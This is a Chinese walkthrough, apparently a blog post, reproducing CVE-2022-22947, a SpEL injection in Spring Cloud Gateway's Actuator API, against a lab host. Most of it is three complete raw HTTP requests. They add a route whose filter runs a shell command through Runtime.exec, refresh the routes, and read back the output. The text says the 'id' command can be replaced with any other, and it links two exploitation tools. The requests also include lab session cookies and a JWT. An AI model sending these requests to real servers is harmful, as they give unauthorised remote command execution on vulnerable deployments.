Spring boot命令执行 (CVE-2022-22947)漏洞复现和相关利用工具

Spring boot命令执行 (CVE-2022-22947)漏洞复现和相关利用工具

名称: spring 命令执行 (CVE-2022-22947)

描述: Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。

影响版本:

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway 3.0.x < 3.0.7

第一个数据包

打开靶场抓取请求的数据包

切换成POST模式,请求这个地址,提交内容如下:返回201即为成功

可以更换请求路径中的test为你自己的方法,也可以更换value值里面的id命令为其它执行命令

bash 复制代码
POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.91.129:15001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

第二个数据包

再请求这个路径:

bash 复制代码
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.91.129:15001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 3

123

第三个数据包

再请求这个路径命令就会被执行。

bash 复制代码
GET /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.91.129:15001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-HK;q=0.9,zh;q=0.8
Cookie: b-user-id=98bc3e19-a246-205e-df14-b0f6176e841d; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzAxMzMzMTQxLCJlbWFpbCI6IiJ9.AlEzzqoZtAFFONBaJRMjjMEji7OJNLT8UxrAgbttBqc; sidebarStatus=0; JSESSIONID=6F5D2993DEE6FC179A1F71F6045DE7AA
If-None-Match: "3147526947+gzip"
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
Connection: close

在这三次的请求中,会更换请求头的内容。如果发现卡住不成功的情况。那就重新抓一个包

如果要执行其它命令需要从第一步到第三步都请求一遍。

也有利用工具:

https://github.com/0x727/SpringBootExploit

https://github.com/13exp/SpringBoot-Scan-GUI

相关推荐
AI绘画小337 小时前
Web 安全核心真相:别太相信任何人!40 个漏洞挖掘实战清单,直接套用!
前端·数据库·测试工具·安全·web安全·网络安全·黑客
414a10 小时前
LingJing(灵境):Linux Amd64局域网设备访问靶机教程
linux·安全·web安全·网络安全·lingjing·灵境
独行soc21 小时前
2025年渗透测试面试题总结-264(题目+回答)
网络·python·安全·web安全·网络安全·渗透测试·安全狮
骥龙1 天前
4.12、隐私保护机器学习:联邦学习在安全数据协作中的应用
人工智能·安全·网络安全
世界尽头与你1 天前
Go pprof 调试信息泄露漏洞
安全·网络安全·golang·渗透测试
Whoami!2 天前
❼⁄₂ ⟦ OSCP ⬖ 研记 ⟧ 查找漏洞的公共利用 ➱ 离线资源(上)
网络安全·信息安全·metasploit·searchsploit
世界尽头与你2 天前
CVE-2022-46463 Harbor public 镜像仓库信息泄露
安全·网络安全·渗透测试
XH-hui2 天前
【打靶日记】群内靶机vm1
linux·网络安全
2501_942119682 天前
HTTPS:企业网站SEO优化的基石与信任凭证
网络安全
世界尽头与你3 天前
CVE-2016-2183_ OpenSSL 信息泄露漏洞
网络安全·渗透测试